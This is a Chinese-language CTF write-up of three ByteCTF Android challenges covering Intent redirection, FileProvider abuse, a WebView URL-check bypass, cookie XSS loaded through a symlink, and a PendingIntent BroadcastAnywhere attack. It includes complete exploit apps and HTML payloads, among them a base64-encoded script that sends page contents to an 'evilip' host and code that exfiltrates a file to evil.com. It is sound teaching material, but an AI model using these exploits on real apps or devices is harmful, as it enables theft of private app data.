有几道Android pwn感觉挺有意思的
Intent重定向
Intent是Android 常用的组件间互相通信的信息对象，常用于启动组件或传递数据
Intent重定向漏洞类似web中的SSRF，可以借助可导出的应用重定向到非导出的应用
通过intent重定向，可以以目标app的权限来间接访问到应用中的未导出的组件，即launch anywhere。
常见的利用场景
- 系统settings可以绕过密码认证的界面打开重置手机pin码的activity
- 打开未导出的webview组件进一步转化为webview的漏洞
- 打开外部app，这个过程中可以进行一次临时的授权，给予外部app对文件的读写权限。
Intent重定向的常见形式:
babydroid
Apk分析
Manifest文件:
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| <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.babydroid" platformBuildVersionCode="30" platformBuildVersionName="11">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/>
<application android:theme="@style/Theme.Babydroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:name="com.bytectf.babydroid.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.bytectf.babydroid.Vulnerable">
<intent-filter>
<action android:name="com.bytectf.TEST"/>
</intent-filter>
</activity>
<receiver android:name="com.bytectf.babydroid.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="androidx.core.content.FileProvider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
</application>
</manifest>
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当Activity中存在intent-filter时默认时可导出的，所以外部应用可以直接打开Vulnerable，其内容如下：
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| public class Vulnerable extends Activity {
/* access modifiers changed from: protected */
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivity((Intent) getIntent().getParcelableExtra("intent"));
}
}
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利用这个方法可以使用传入的intent参数直接startactivity且没有任何校验，这样就可以以目标app的身份进行一次startactivity完成intent的重定向。
app中存在一个非导出的FileProvider，可以提供文件的读写和分享能力。其执行的file_paths内容如下：
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| <?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
</paths>
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其导出的文件可以从root即根路径开始，都可以用这个FileProvider访问到(前提时目标app有权限访问，可以访问目标app沙箱内部的文件，以此完成沙箱内的文件读写，甚至可以读写内部的可执行文件，dex or so)
所以可以使用intent重定向来访问这个非导出的FileProvider内容，使用目标app的权限来读取其沙箱内部的文件。flag文件是通过接收广播后写入到沙箱内部files文件夹中的。
一般app中除了FileProvider还有其他可利用的内容，比如说联系人等。
攻击过程
Exp
MainActivity:
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| public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if(getIntent().getAction().equals("evil")){
Uri data = getIntent().getData();
try {
InputStream inputStream = getContentResolver().openInputStream(data);
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String str = new String(bytes);
Log.e("evil", str);
httprequest("http://evil.com/?" + str);
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}else{
Intent extra = new Intent("evil");
extra.setClassName(getPackageName(), MainActivity.class.getName());
extra.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
extra.addFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.setAction("com.bytectf.TEST");
intent.putExtra("intent", extra);
startActivity(intent);
}
}
}
|
easydroid
Apk分析
题目中可导出的MainActivity内容:
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| public class MainActivity extends AppCompatActivity {
/* access modifiers changed from: protected */
@Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.fragment.app.FragmentActivity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri data = getIntent().getData();
if (data == null) {
data = Uri.parse("http://app.toutiao.com/");
}
if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")) {
WebView webView = new WebView(getApplicationContext());
webView.setWebViewClient(new WebViewClient() {
/* class com.bytectf.easydroid.MainActivity.AnonymousClass1 */
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (!Uri.parse(url).getScheme().equals("intent")) {
return super.shouldOverrideUrlLoading(view, url);
}
try {
MainActivity.this.startActivity(Intent.parseUri(url, 1));
} catch (URISyntaxException e) {
e.printStackTrace();
}
return true;
}
});
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(data.toString());
}
}
}
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if条件部分可以绕过。payload: http://toutiao.com@evil.com/poc.htm
在shouldOverrideUrlLoading中可以看到，传入的是intent协议时可以发生跳转。即一次intent重定向,使用这次intent重定向可以打开export=false的TestActivity界面。
Intent.parseUri()方法的第二个参数flag有三种类型：Intent.URI_ANDROID_APP_SCHEME 和 Intent.URI_INTENT_SCHEME 还有 URI_ALLOW_UNSAFE；第三种不安全，一般不使用。
前俩种的格式为intent://host/#Intent;scheme=hansel;package=com.hansel.app;end 和 android-app://{package_id}[/{scheme}[/{host}[/{path}]]][#Intent;{…}]
Intent.parseUri()源码:
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| public static Intent parseUri(String uri, int flags) throws URISyntaxException {
int i = 0;
try {
final boolean androidApp = uri.startsWith("android-app:");
// flag传入URI_INTENT_SCHEME这个条件成立，生成的是自定义的scheme协议，非intent://和app-android://,所以上面把自定义的scheme加入URI_INTENT_SCHEME即可
if ((flags&(URI_INTENT_SCHEME|URI_ANDROID_APP_SCHEME)) != 0) {
if (!uri.startsWith("intent:") && !androidApp) {
Intent intent = new Intent(ACTION_VIEW);
try {
intent.setData(Uri.parse(uri));
} catch (IllegalArgumentException e) {
throw new URISyntaxException(uri, e.getMessage());
}
return intent;
}
}
// 看下是否有#Intent后续的参数内容
i = uri.lastIndexOf("#");
// simple case
if (i == -1) {
if (!androidApp) {
return new Intent(ACTION_VIEW, Uri.parse(uri));
}
// old format Intent URI
} else if (!uri.startsWith("#Intent;", i)) {
if (!androidApp) {
return getIntentOld(uri, flags);
} else {
i = -1;
}
}
// new format
Intent intent = new Intent(ACTION_VIEW);
Intent baseIntent = intent;
boolean explicitAction = false;// 指定action
boolean inSelector = false;
// fetch data part, if present
String scheme = null;
String data;
if (i >= 0) {
data = uri.substring(0, i);
i += 8; // length of "#Intent;"
} else {
data = uri;
}
// 获取#Intent后面的附加属性
// loop over contents of Intent, all name=value;
while (i >= 0 && !uri.startsWith("end", i)) {
int eq = uri.indexOf('=', i);
if (eq < 0) eq = i-1;
int semi = uri.indexOf(';', i);
String value = eq < semi ? Uri.decode(uri.substring(eq + 1, semi)) : "";
// action
if (uri.startsWith("action=", i)) {
intent.setAction(value);
if (!inSelector) {
explicitAction = true;
}
}
// categories
else if (uri.startsWith("category=", i)) {
intent.addCategory(value);
}
// type
else if (uri.startsWith("type=", i)) {
intent.mType = value;
}
// launch flags
else if (uri.startsWith("launchFlags=", i)) {
intent.mFlags = Integer.decode(value).intValue();
if ((flags& URI_ALLOW_UNSAFE) == 0) {
intent.mFlags &= ~IMMUTABLE_FLAGS;
}
}
// package
else if (uri.startsWith("package=", i)) {
intent.mPackage = value;
}
// component
else if (uri.startsWith("component=", i)) {
intent.mComponent = ComponentName.unflattenFromString(value);
}
// scheme
else if (uri.startsWith("scheme=", i)) {
if (inSelector) {
intent.mData = Uri.parse(value + ":");
} else {
scheme = value;
}
}
// source bounds
else if (uri.startsWith("sourceBounds=", i)) {
intent.mSourceBounds = Rect.unflattenFromString(value);
}
// selector
else if (semi == (i+3) && uri.startsWith("SEL", i)) {
intent = new Intent();
inSelector = true;
}
// extra
else {
String key = Uri.decode(uri.substring(i + 2, eq));
// create Bundle if it doesn't already exist
if (intent.mExtras == null) intent.mExtras = new Bundle();
Bundle b = intent.mExtras;
// add EXTRA
if (uri.startsWith("S.", i)) b.putString(key, value);
else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
else throw new URISyntaxException(uri, "unknown EXTRA type", i);
}
// move to the next item
i = semi + 1;
}
if (inSelector) {
// The Intent had a selector; fix it up.
if (baseIntent.mPackage == null) {
baseIntent.setSelector(intent);
}
intent = baseIntent;
}
if (data != null) {
if (data.startsWith("intent:")) {
data = data.substring(7);
if (scheme != null) {
data = scheme + ':' + data;
}
} else if (data.startsWith("android-app:")) {
if (data.charAt(12) == '/' && data.charAt(13) == '/') {
// Correctly formed android-app, first part is package name.
int end = data.indexOf('/', 14);
if (end < 0) {
// All we have is a package name.
intent.mPackage = data.substring(14);
if (!explicitAction) {//没有action属性的时候“app-android”使用默认action_main
intent.setAction(ACTION_MAIN);
}
data = "";
} else {
// Target the Intent at the given package name always.
String authority = null;
intent.mPackage = data.substring(14, end);
int newEnd;
if ((end+1) < data.length()) {
if ((newEnd=data.indexOf('/', end+1)) >= 0) {
// Found a scheme, remember it.
scheme = data.substring(end+1, newEnd);
end = newEnd;
if (end < data.length() && (newEnd=data.indexOf('/', end+1)) >= 0) {
// Found a authority, remember it.
authority = data.substring(end+1, newEnd);
end = newEnd;
}
} else {
// All we have is a scheme.
scheme = data.substring(end+1);
}
}
if (scheme == null) {
// If there was no scheme, then this just targets the package.
if (!explicitAction) {
intent.setAction(ACTION_MAIN);
}
data = "";
} else if (authority == null) {
data = scheme + ":";
} else {
data = scheme + "://" + authority + data.substring(end);
}
}
} else {
data = "";
}
}
if (data.length() > 0) {
try {
intent.mData = Uri.parse(data);
} catch (IllegalArgumentException e) {
throw new URISyntaxException(uri, e.getMessage());
}
}
}
return intent;
} catch (IndexOutOfBoundsException e) {
throw new URISyntaxException(uri, "illegal Intent URI format", i);
}
}
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因为后续需要使用file协议加载本地文件，MainActivty中固定了协议只能是http，但是TestActivity文件也使用了webview且没有对url进行任何过滤操作，可以使用file协议。所以可以使用intent重定向，转到TestActivity。
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| public class TestActivity extends Activity {
/* access modifiers changed from: protected */
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
WebView webView = new WebView(getApplicationContext());
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(url);
}
}
|
然后携带url参数加载本地file文件。intent协议中携带参数的方式在源码中可以看到，携带String类型的参数时格式时S.key=value;
Apk通过广播的方式设置flag，flag写入本地Cookies文件:
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| public class FlagReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
try {
String flag2 = Base64.encodeToString(flag.getBytes("UTF-8"), 0);
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setCookie("https://tiktok.com/", "flag=" + flag2);
Log.e("FlagReceiver", "received flag.");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
}
}
|
攻击过程
- 打开MainActivity，使用
http://toutiao.com@evil/loadCookie.html绕过校验，写入cookie并停留40秒 - 创建symlink.html符号连接，指向目标沙箱内Cookies数据库文件
- 打开MainActivity，使用
http://toutiao.com@evil/loadFile.html绕过校验，触发shouldOverrideUrlLoading方法加载TestActivity，url参数设置为file:///data/user/0/com.bytectf.pwneasydroid/symlink.html
步骤1中写入的cookie中包含恶意代码，代码作用是读取页面内容并发送到远程服务器。当步骤3中用file协议加载symlink.html文件时实际上时加载/data/0/user/com.bytectf.easydroid./app_webview/Cookies文件，渲染的过程中会执行注入到cookie中的恶意代码，导致cookie内容被发送到远程服务器。
Exp
MainActivity:
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| public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
launch("http://toutiao.com@evilip/loadcookie.html");
symlink();
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
launch("http://toutiao.com@evilip/loadfile.html");
}
}, 40000);
}
private void launch(String url){
Intent intent = new Intent();
intent.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.MainActivity");
Uri uri = Uri.parse(url);
intent.setData(uri);
intent.addFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
startActivity(intent);
}
private String symlink() {
String root = getApplicationInfo().dataDir;
String symlink = root + "/symlink.html";
Log.e("url", symlink);
try{
String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid",
0).dataDir + "/app_webview/Cookies";
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return symlink;
}
}
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loadcookie.html:
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| <!DOCTYPE html>
<html>
<h1> injected cookie with xss</h1>
<script>
document. cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly9ldmlsaXAvP2Nvb2tpZT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJodG1sIilbMF0uaW5uZXJIVE1MKTs='))\">'"
</script>
</html>
<!--new Image().src = "http://evilip/?cookie=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);-->
|
loadfile.html:
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| <!DOCTYPE html>
<html>
<h1>load file</h1>
<script>
document.location = "intent:#Intent;launchFlags=0x3;package=com.bytectf.easydroid;component=com.bytectf.easydroid/.TestActivity;S.url=file:///data/user/0/com.bytectf.pwneasydroid/symlink.html;end";
</script>
</html>
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在自己写intent隐式跳转的时候，intent的具体格式搜了挺久才找到正确的写法，然后其实有直接转String的方法:
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| Intent i2 = new Intent();
i2.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.TestActivity");
i2.putExtra("url", url);
String uri_data = i2.toUri(Intent.URI_INTENT_SCHEME); // 在这里直接转String
intent.setData(Uri.parse("http://ip/jump.html?url=" + Uri.encode(uri_data)));
|
mediumdroid
Apk分析
与easydroid类似，但是flag没有存储在Cookie中，而是跟babydroid一样存储在flag文件中。
在TestActivity中提供了一个jsi
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| public class TestActivity extends Activity {
/* access modifiers changed from: protected */
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
WebView webView = new WebView(getApplicationContext());
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(this, "jsi");
webView.loadUrl(url);
}
@JavascriptInterface
public void Te3t(String title, String content) {
if (Build.VERSION.SDK_INT >= 26) {
((NotificationManager) getSystemService(NotificationManager.class)).createNotificationChannel(new NotificationChannel("CHANNEL_ID", "CHANNEL_NAME", 4));
}
NotificationManagerCompat.from(this).notify(100, new NotificationCompat.Builder(this, "CHANNEL_ID").setContentTitle(title).setContentText(content).setSmallIcon(R.mipmap.ic_launcher).setContentIntent(PendingIntent.getBroadcast(this, 0, new Intent(), 0)).setAutoCancel(true).setPriority(1).build());
}
}
|
其中PendingIntent.getBroadcast(this, 0, new Intent()存在BroadcastAnywhere漏洞。借助这个漏洞可以写一个NotificationListenerService(监听通知栏的消息)进行监听，然后由于直接使用new Intent()，action，category，data，clipdata，package均为空可以被修改。将action和package修改成FlagReceiver接受的广播就可以在flag文件中写入xss payload，后面再用file协议加载flag文件即可。
攻击过程
- 调用MainActivity，跳转到TestActivity，url指向的网页内容写调用jsi.Te3t的代码。
- 用来监听的
NotificationListenerService会监听到对应的广播PendingIntent，将action设置成SET_FLAG，内容设置成xss payload然后转发出去。 - 调用MainActivity，跳转到TestActivity，url指向的
symlink.html(flag文件的链接)
Exp
MainActivity:
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| public class MainActivity extends AppCompatActivity {
public String target = "com.bytectf.mediumdroid";
public String evil = "http://evilip/";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startService(new Intent(this, MagicService.class));
launch(evil + "callTe3t.html");
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
launch("file://" + symlink());
}
}, 5000);
}
private void launch(String url){
Intent main_intent = new Intent();
main_intent.setClassName(target, target + ".MainActivity");
main_intent.addFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
Intent test_intent = new Intent();
test_intent.setClassName(target, target + ".TestActivity");
test_intent.putExtra("url", url);
String test_intent_uri = test_intent.toUri(Intent.URI_INTENT_SCHEME);
main_intent.setData(Uri.parse("http://toutiao.com@evilip/jump.html?url=" + Uri.encode(test_intent_uri)));
startActivity(main_intent);
}
private String symlink() {
String root = getApplicationInfo().dataDir;
String symlink = root + "/symlink.html";
Log.e("url", symlink);
try{
String cookies = getPackageManager().getApplicationInfo(target,
0).dataDir + "/files/flag";
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return symlink;
}
}
|
MagicService:
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| public class MagicService extends NotificationListenerService {
public String target = "com.bytectf.mediumdroid";
public String payload = "xss payload";
@Override
public void onCreate() {
super.onCreate();
Log.e(target, "onCreate");
}
@Override
public void onListenerConnected() {
super.onListenerConnected();
Log.e(target, "onListen");
}
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
if(!sbn.getPackageName().equals(target))
return;
Notification notification = sbn.getNotification();
if(notification.extras != null){
PendingIntent pendingIntent = notification.contentIntent;
Intent evil_intent = new Intent();
evil_intent.setAction("com.bytectf.SET_FLAG");
evil_intent.setPackage(target);
evil_intent.putExtra("flag", payload);
try {
pendingIntent.send(this, 0, evil_intent);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
}
super.onNotificationPosted(sbn);
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.e(target, "onNotificationRemoved");
}
}
|
jump.html:(可以根据url参数的内容做跳转)
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| <!DOCTYPE html>
<html>
<h1>Jump to TestActivity</h1>
<script>
function GetQueryString(name)
{
var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if(r!=null)
return unescape(r[2]);
return null;
}
function doitjs()
{
location.href = decodeURIComponent(GetQueryString('url'));
}
setTimeout(doitjs, 0);
</script>
</html>
|
callTe3t.html
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| <!DOCTYPE html>
<html>
<body>
<h1>jsi test</h1>
<script>jsi.Te3t('test1', 'test2');</script>
</body>
</html>
|
Manifest.xml:
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| <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.bytectf.pwnmediumdroid">
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<service
android:name=".MagicService"
android:enabled="true"
android:exported="true"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
|
运行的时候还要给一遍通知权限：
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| adb shell cmd notification allow_listener com.bytectf.pwnmediumdroid/com.bytectf.pwnmediumdroid.MagicService
|
or:
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| adb shell settings put secure enabled_notification_listeners %nlisteners:com.bytectf.pwnmediumdroid/com.bytectf.pwnmediumdroid.MagicService
|
结果:
参考链接
Android: Access to app protected components
安卓漏洞从0到1–PPT
安卓漏洞从0到1–视频
2020 看雪SDC议题回顾 | Android WebView安全攻防指南2020
android(8)-WebView安全
ByteCTF 2021 By W&M（PWN）部分
